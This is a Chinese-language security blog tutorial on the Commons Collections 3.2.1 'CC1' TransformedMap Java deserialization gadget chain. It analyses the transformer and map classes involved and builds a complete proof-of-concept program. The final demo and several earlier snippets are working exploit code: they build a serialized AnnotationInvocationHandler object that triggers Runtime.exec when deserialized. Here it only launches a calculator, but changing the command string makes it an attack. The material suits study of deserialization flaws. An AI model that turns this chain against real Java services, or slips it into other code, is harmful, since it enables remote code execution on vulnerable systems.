CC链1-TransformedMap链学习

admin 2023年2月23日13:14:23评论18 views字数 22031阅读73分26秒阅读模式

web安全

公众号回复“20230223”,获取原格式PDF文章和相关工具。



一、环境准备  

1、创建Maven项目  

首先配置一个导入了3.2.1版 commons collections 包的 Maven 项目。
commons-collections
commons-collections
3.2.1
   

             CC链1-TransformedMap链学习
直接在 pom.xml 文件中添加依赖,然后让 Maven 自动配置。

2、JDK版本  

CC1链需要 JDK 版本在 8u71 之前,我这里使用的是 jdk1.8.0_65。             CC链1-TransformedMap链学习

3、Sun包源码  

另外该链中需要用到 sun 包中的类,而 sun 包在 jdk 中的代码是通过 class 文件反编译来的,不是 java 文件,不能进行调试,通过 find usages 是搜不到要找的类的,而且其代码中的对象是 var 这样的形式,影响代码的阅读。
故需下载 sun 包源码,解压 jdk 目录的 src.zip,将 sun 包源码拷贝过去,然后在 IDEA 中,File-->Project Structure-->SDK 将 src 目录的路径加到 Sourcepath 中。
             CC链1-TransformedMap链学习

二、CC TransformedMap 链分析  

1、Transformer接口及其实现类  

             CC链1-TransformedMap链学习
Transformer 接口位于 org.apache.commons.collections 包中。该接口中只有一个 transform() 方法,其英文描述翻译后为“将输入对象(保持不变)转换为某个输出对象。”
             CC链1-TransformedMap链学习
逐个查看哪些类实现了该接口。

ChainedTransformer类  

public class ChainedTransformer implements Transformer, Serializable {            
           
    /** Serial version UID */            
    private static final long serialVersionUID = 3514945074733160196L;            
           
    /** The transformers to call in turn */            
    private final Transformer[] iTransformers;            
           
    /**            
    * Constructor that performs no validation.            
    * Use getInstance if you want that.            
    *            
    * @形参 transformers-the transformers to chain, not copied, no nulls            
    */            
    public ChainedTransformer(Transformer[] transformers) {            
        super();            
        iTransformers = transformers;            
    }            
           
    /**            
    * Transforms the input to result via each decorated transformer            
    *            
    * @形参 object-the input object passed to the first transformer            
    * @返回值 the transformed result            
    */            
    public Object transform(Object object) {            
        for (int i = 0; i < iTransformers.length; i++) {            
            object = iTransformers[i].transform(object);            
        }            
        return object;            
    }            
}            
除了调用 Transformer 接口,该类也同时调用 Serializable 接口。所以它可以是调用链上的一部分。
该类维护了一个 Transformer 接口类型的数组 iTransformers,transform() 方法是先将输入的对象交给 iTransformers 数组的第一个转换器的 transform() 方法进行修饰,修饰后的结果又作为下一个转化器的 transform()方法要修饰的对象,简单来说就是当前的结果作为下一个步骤的输入,将最后的结果返回。有一种链式反应的感觉,故而叫 ChainedTransformer(链式转化器)。

ConstantTransformer类  

public class ConstantTransformer implements Transformer, Serializable {            
           
    /** Serial version UID */            
    private static final long serialVersionUID = 6374440726369055124L;            
                
    /** Returns null each time */            
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);            
           
    /** The closures to call in turn */            
    private final Object iConstant;            
           
     /**            
     * Constructor that performs no validation.            
     * Use getInstance if you want that.            
     *            
     * @形参 constantToReturn-the constant to return each time            
     */            
    public ConstantTransformer(Object constantToReturn) {            
        super();            
        iConstant = constantToReturn;            
    }            
                
    /**            
    * Transforms the input by ignoring it and returning the stored constant instead.            
    *            
    * @形参 input  the input object which is ignored            
    * @返回值 the stored constant            
    */            
    public Object transform(Object input) {            
        return iConstant;            
    }            
}            
除了继承 Transformer 接口,该类也同时继承 Serializable 接口。所以它可以是调用链上的一部分。
该类维护了一个 iConstant 恒定不变的 Object 对象,是由创建时通过构造器传入,其 transform 方法是无视传入的对象,直接返回该 iConstant。所以叫 ConstantTransformer(恒定转化器)。

InvokerTransformer类  

public class InvokerTransformer implements Transformer, Serializable {            
           
    /** The serial version */            
    private static final long serialVersionUID = -8653385846894047688L;            
                
    /** The method name to call */            
    private final String iMethodName;            
    /** The array of reflection parameter types */            
    private final Class[] iParamTypes;            
    /** The array of reflection arguments */            
    private final Object[] iArgs;            
           
    /**            
    * Constructor for no arg instance.            
    *            
    * @形参 methodName-the method to call            
    */            
    private InvokerTransformer(String methodName) {            
        super();            
        iMethodName = methodName;            
        iParamTypes = null;            
        iArgs = null;            
    }            
           
     /**            
     * Transforms the input to result by invoking a method on the input.            
     * 通过调用输入上的方法将输入转换为结果。           
     * @形参 input-the input object to transform            
     * @返回值 the transformed result, null if null input            
     */            
    public Object transform(Object input) {            
        if (input == null) {            
            return null;            
        }            
        try {            
            Class cls = input.getClass();            
            Method method = cls.getMethod(iMethodName, iParamTypes);            
            return method.invoke(input, iArgs);            
                            
        } catch (NoSuchMethodException ex) {            
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");            
        } catch (IllegalAccessException ex) {            
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");            
        } catch (InvocationTargetException ex) {            
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);            
        }            
    }            
}            
除了继承 Transformer 接口,该类也同时继承 Serializable 接口。所以它可以是调用链上的一部分。
该类的 transform 方法是通过反射获取我们所传入的对象的方法,然后进行调用(public 访问修饰的方法),故而叫 InvokerTransformer(调用转化器)。其中的对象、方法名、参数类型、参数都类型广泛,且都由我们控制,可调用任意对象的任意方法

尝试利用  

public class InvokerTransformerTest {            
    public static void main(String[] args) {            
        InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});            
        exec.transform(Runtime.getRuntime());            
    }            
}            


2、寻找Gadget  

①、TransformedMap  

通过上面的学习可以发现 InvokerTransformer 类就是最理想的可RCE的执行类,那么接下来就是寻找那个方法调用了 InvokerTransformer.transform 这个危险方法。
             CC链1-TransformedMap链学习
排除自己调用一处,其组件原本的类中总共有20处调用该危险方法。但是同时满足要能序列化、参数类型广泛、有重写 readObject() 优先,且调用该危险方法的方法名不能为 transform() 的类就比较少了。
             CC链1-TransformedMap链学习
满足的仅有以上六个,其对应的方法为
TransformedPredicate.evaluate            
TransformerClosure.execute            
TransformerPredicate.evaluate            
DefaultedMap.get            
LazyMap.get            
TransformedMap.transformKey            
TransformedMap.transformValue            
TransformedMap.checkSetValue            
根据有重写 readObject() 方法的优先原则,优先从Map名字结尾的类中寻找,而且TransformedMap中有三个方法调用了该危险方法。那么就先看看这个类吧。
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package org.apache.commons.collections.map;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Iterator; import java.util.Map;
import org.apache.commons.collections.Transformer;
/** * Decorates another Map to transform objects that are added. * * The Map put methods and Map.Entry setValue method are affected by this class. * Thus objects must be removed or searched for using their transformed form. * For example, if the transformation converts Strings to Integers, you must * use the Integer form to remove objects. *
*Note that TransformedMap is not synchronized and is not thread-safe. * If you wish to use this map from multiple threads concurrently, you must use * appropriate synchronization. The simplest approach is to wrap this map * using {@link java.util.Collections#synchronizedMap(Map)}. This class may throw * exceptions when accessed by concurrent threads without synchronization. *
* This class is Serializable from Commons Collections 3.1. * * @since Commons Collections 3.0 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $ * * @author Stephen Colebourne */
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
/** Serialization version */ private static final long serialVersionUID = 7023152376788900464L;
/** The transformer to use for the key */ protected final Transformer keyTransformer; /** The transformer to use for the value */ protected final Transformer valueTransformer;
/** * Factory method to create a transforming map. *
* If there are any elements already in the map being decorated, they * are NOT transformed. * Constrast this with {@link #decorateTransform}. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, null means no transformation * @param valueTransformer the transformer to use for value conversion, null means no transformation * @throws IllegalArgumentException if map is null */ public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
//-----------------------------------------------------------------------/** * Constructor that wraps (not copies). *
* If there are any elements already in the collection being decorated, they * are NOT transformed. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, null means no conversion * @param valueTransformer the transformer to use for value conversion, null means no conversion * @throws IllegalArgumentException if map is null */protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
//-----------------------------------------------------------------------/** * Transforms a key. *
* The transformer itself may throw an exception if necessary. * * @param object the object to transform * @throws the transformed object */protected Object transformKey(Object object) { if (keyTransformer == null) { return object; } return keyTransformer.transform(object); }
/** * Transforms a value. *
* The transformer itself may throw an exception if necessary. * * @param object the object to transform * @throws the transformed object */protected Object transformValue(Object object) { if (valueTransformer == null) { return object; } return valueTransformer.transform(object); }
/** * Override to transform the value when usingsetValue. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
//-----------------------------------------------------------------------public Object put(Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); }
}
根据注释和函数名我们可以知道该类是对 Map 进行修饰的,通过 transformKey() 方法和 transformValue() 方法中的 transform() 方法分别对 Map 的键和值进行修饰,同时这两个参数的值可控,只要是Transform 类型就行。值得注意的是当我们使用 put() 向其添加键值对时也会调用 transform() 方法。其构造器是 protected 的,不能直接 new,但我们可以通过 pubulic 访问属性的静态方法 decorate()来获得对象实例。

尝试利用  

public class TransformedMapTestDemo {            
    public static void main(String[] args) {            
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});            
           
        Map map = new HashMap<>();            
        Map transformedmap = TransformedMap.decorate(map,null,exec);            
           
        transformedmap.put("LeiYuan",Runtime.getRuntime());            
    }            
}            
//危险方法放在 map 的 key 或 value 中都可以            

②、MapEntry的setValue()  

那么接下来就是找哪些类调用了 TransformedMap 类的这三个方法,通过查找发现 transformKey() 方法和transformValue() 方法只在该类中被调用,checkSetValue() 方法在其父类抽象类 AbstractInputCheckedMapDecorator 中的静态内部类 MapEntry 的 setValue() 方法被调用
             CC链1-TransformedMap链学习
             CC链1-TransformedMap链学习
             CC链1-TransformedMap链学习
Map 是用来存放键值对的,HashMap 中一对键值对是存放在 HashMap$Node 中的,而 Node 又实现了 Entry接口,所以可以粗略理解为键值对是存放在 Entry 中的,可以利用 entrySet() 方法遍历底层 Map 从而获取每一对键值对,获取的键值对为 Map.Entry 类型。

尝试利用  

public class SetValueTestDemo {            
    public static void main(String[] args) {            
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});            
           
        Map map = new HashMap<>();            
        map.put("key","value");            
        Maptransformedmap = TransformedMap.decorate(map,null,exec);      
     
        for (Map.Entry entry:transformedmap.entrySet()){      
            entry.setValue(Runtime.getRuntime());      
        }      
    }      
}      
     

③、AnnotationInvocationHandler  

接着找哪些类调用了 setValue() 方法
             CC链1-TransformedMap链学习
共有42处调用了该方法,通过一次大概查看,发现在 sun.reflect.annotation 包中 AnnotationInvocationHandler 类的 readObject() 方法中存在利用该函数,由于 readObject() 是最适合做入口的方法,同时它也实现了序列化接口,所以先看看这里能不能利用
class AnnotationInvocationHandler implements InvocationHandler, Serializable {            
    private static final long serialVersionUID = 6182022883658399397L;            
    private final Class type;            
    private final MapmemberValues;      
     
    AnnotationInvocationHandler(Class type, MapmemberValues) {        
        Class[] superInterfaces = type.getInterfaces();        
        if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class)        
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");        
        this.type = type;        
        this.memberValues = memberValues;        
    }        
       
    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {        
        s.defaultReadObject();        
       
        // Check to make sure that types have not evolved incompatibly        
       
        AnnotationType annotationType = null;        
        try {        
            annotationType = AnnotationType.getInstance(type);        
        } catch(IllegalArgumentException e) {        
            // Class is no longer an annotation type; time to punch out        
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");        
        }        
       
        Map> memberTypes = annotationType.memberTypes();        
       
        // If there are annotation members without values, that        
        // situation is handled by the invoke method.        
        for (Map.EntrymemberValue : memberValues.entrySet()) {          
            String name = memberValue.getKey();          
            Class memberType = memberTypes.get(name);          
            if (memberType != null) {  // i.e. member still exists          
                Object value = memberValue.getValue();          
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {          
                    memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));          
                }          
            }          
        }          
    }          
}          
       
看着好像很复杂,慢慢查资料和耐心解读,先看构造函数,需要传入一个 Annotation 子类(注释类)的 class 对象 type 和一个 map 对象 memberValues (可以是前面构造好的 TransformedMap )。
AnnotationType annotationType = null;            
        try {            
            annotationType = AnnotationType.getInstance(type);            
        } catch(IllegalArgumentException e) {            
            // Class is no longer an annotation type; time to punch out            
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");            
        }            
           
        Map> memberTypes = annotationType.memberTypes();      
     
public class AnnotationType {            
    /**            
     * Member name -> type mapping. Note that primitive types            
     * are represented by the class objects for the corresponding wrapper            
     * types.  This matches the return value that must be used for a            
     * dynamic proxy, allowing for a simple isInstance test.            
     */            
    private final Map> memberTypes;      
     
    /**      
     * Member name -> default value mapping.      
     */      
    private final MapmemberDefaults;        
       
    /**        
     * Member name -> Method object mapping. This (and its assoicated        
     * accessor) are used only to generate AnnotationTypeMismatchExceptions.        
     */        
    private final Mapmembers;        
       
    /**        
     * The retention policy for this annotation type.        
     */        
    private final RetentionPolicy retention;        
       
    /**        
     * Whether this annotation type is inherited.        
     */        
    private final boolean inherited;        
       
    /**        
    * Returns an AnnotationType instance for the specified annotation type.        
    *        
    * @throw IllegalArgumentException if the specified class object for        
    *     does not represent a valid annotation type        
    */        
    public static AnnotationType getInstance(Class annotationClass){        
        JavaLangAccess jla = sun.misc.SharedSecrets.getJavaLangAccess();        
        AnnotationType result = jla.getAnnotationType(annotationClass); // volatile read        
        if (result == null) {        
            result = new AnnotationType(annotationClass);        
            // try to CAS the AnnotationType: null -> result        
            if (!jla.casAnnotationType(annotationClass, null, result)) {        
                // somebody was quicker -> read it's result        
                result = jla.getAnnotationType(annotationClass);        
                assert result != null;        
            }        
        }        
       
        return result;        
    }        
       
    /**        
    * Returns member types for this annotation type        
    * (member name -> type mapping).        
    */        
    public Map> memberTypes() {          
        return memberTypes;          
    }          
}          
       
然后是 readObject() 的前半段,也就是到 for 循环之前,这一段是用于在反序列化时通过 getInstance() 方法获取的注释实例来检查反序列化出来的 type 是否合法,不合法就抛出异常,合法就通过 memberTypes() 是获取其成员类型(就是方法名和放回类型),存储在 HashMap      <String,Class</String,Class
for (Map.EntrymemberValue : memberValues.entrySet()) {      
    String name = memberValue.getKey();      
    Class memberType = memberTypes.get(name);      
    if (memberType != null) {  // i.e. member still exists      
        Object value = memberValue.getValue();      
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {      
            memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));      
        }      
    }      
}      
     
接下来看看这个 for 循环,遍历反序列化出来的TransformedMap,先获取键名,如果该键名与构造函数中注释类的某个方法名相同,则获取该键名的值。然后会比较键名对应的值的实例是否和注解实例的返回类型不同或者键名对应的值是 ExceptionProxy 的实例,则修改键名对应的值。那么第二个很好满足,随便设置那就会不同,那么第一个要求 TransformedMap 的键名在构造方法中传入的注解类中存在相同成员变量名就能满足。
注解类有很多,只要不为空就行,因为构造方法的参数可控,HashMap 的键名也可控,所以只要有就行。

3、过程总结  

首先从实现了 Transformer 接口的实现类中,分析后选择 InvokerTransformer 作为执行类,它的 transform() 方法会通过反射获取我们传入对象的方法,然后进行调用(需 public 访问修饰的方法),其中的对象、方法名、参数类型、参数类型广泛,且都是可控的,也就是可以调用任意对象的任意方法。通过查找,发现 TransformedMap 的 checkSetvalue() 方法会调用 transform() 方法, checkSetvalue() 方法会在 AbstractInputCheckedMapDecorator 的静态内部类 MapEntry 的 setValue() 方法中被调用,TransformedMap 继承自 AbstractInputCheckedMapDecorator,所以前面我们通过遍历 TransformedMap 得到 Map.Entry 再调用 setValue() 方法就会弹计算器。AnnotationInvocationHandler 的 readObject() 方法中若满足一定条件会调用 setValue() 方法。逆推查找过程:
InvokerTransformer.transform()TransformedMap.checkSetvalue()AbstractInputCheckedMapDecorator.Map.Entry.setValue()AnnotationInvocationHandler.readObject()


三、问题解决/Demo改进   

1、setValue实参不可控  

前面的 Demo 中我们都是直接指定 value 为 Runtime.getRuntime()。但实际上 value 并不能由我们控制。这时候就要联想到恒定转化器 ConstantTransformer 和链式转化器 ChainedTransformer 了。创建一个 ConstantTransformer 对象,直接传入 iConstant 为 Runtime.getRuntime(),放置在ChainedTransformer 的 iTransformers 数组的第一个,原先的 InvokerTransformer 对象放在第二个,ChainedTransformer 传入到 valueTransformer。
public class TEST1 {            
    public static void main(String[] args) {            
        Transformer[] transformers = new Transformer[]{            
                new ConstantTransformer(Runtime.getRuntime()),            
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),            
        };            
           
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);            
           
        Map map = new HashMap<>();            
        map.put("key","value");            
        Maptransformap = TransformedMap.decorate(map,null,chainedTransformer);      
     
        for (Map.Entry entry:transformap.entrySet()){      
            entry.setValue("xxx");      
        }      
    }      
}      
       


2、Runtime不可序列化  

             CC链1-TransformedMap链学习
由于利用类是通过反射获取对象并执行命令的,所以也可以利用反射获取 Runtime 对象,因为 Class 类是可以序列化的。
那么将 Runtime.getRuntime().exec("calc") 写成反射形式为
Class runtimeclass = Runtime.class;            
Method getruntime = runtimeclass.getMethod("getRuntime",null);            
Runtime r = (Runtime)getRuntime.invoke(null,null);            
r.exec("calc");            
转化成 Transformers 的成员对象就是
new ConstantTransformer(Runtime.class),            
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),            
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),            
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),            
注意:转换的时候要注意函数的形参变量的参数类型。


3、AnnotationInvocationHandler不可实例化  

AnnotationInvocationHandler 类非public,只可用反射进行引入和 getDeclaredConstructors() 方法构造对象
Class AIHclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取类            
Constructor constructors = AIHclass.getDeclaredConstructor(Class.class,Map.class);//获取该类的构造函数            
constructors.setAccessible(true);//设置私有方法或私有成员可访问            
Object object_1 = constructors.newInstance(SuppressWarnings.class,transformap);            
一般优先在常用包中找,比如 java.lang 包,就像这里在 java.lang 包中找到一个注解类,携带有成员变量,所以可以使用。
             CC链1-TransformedMap链学习
             CC链1-TransformedMap链学习

最终Demo  

import org.apache.commons.collections.Transformer;            
import org.apache.commons.collections.functors.ChainedTransformer;            
import org.apache.commons.collections.functors.ConstantTransformer;            
import org.apache.commons.collections.functors.InvokerTransformer;            
import org.apache.commons.collections.map.TransformedMap;            
           
import java.io.*;            
import java.lang.reflect.Constructor;            
import java.util.*;            
           
public class TEST {            
    public static void main(String[] args) throws Exception {            
        Transformer[] transformers = new Transformer[]{            
            new ConstantTransformer(Runtime.class),            
            new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),            
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),            
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),            
        };            
           
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);            
           
        Map map = new HashMap<>();            
        map.put("value","xxx");            
        Maptransformap = TransformedMap.decorate(map,null,chainedTransformer);      
     
        Class AIHclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");      
        Constructor constructors = AIHclass.getDeclaredConstructor(Class.class, Map.class);      
        constructors.setAccessible(true);      
        Object object_1 = constructors.newInstance(SuppressWarnings.class,transformap);      
     
        //序列化      
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("1.txt"));      
        outputStream.writeObject(object_1);      
     
        //反序列化      
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("1.txt"));      
        inputStream.readObject();      
    }      
     
}      
     


相关参考链接:  

HashMap的内部类Node与Map的内部类Entry的关系以及Node与Entry、EntrySet三者之间的关系:https://blog.csdn.net/weixin_46195957/article/details/125314612Map.Entry的定义https://blog.csdn.net/please93/article/details/121866493

原文始发于微信公众号(Fighter安全团队):CC链1-TransformedMap链学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月23日13:14:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CC链1-TransformedMap链学习https://cn-sec.com/archives/1568813.html

发表评论

匿名网友 填写信息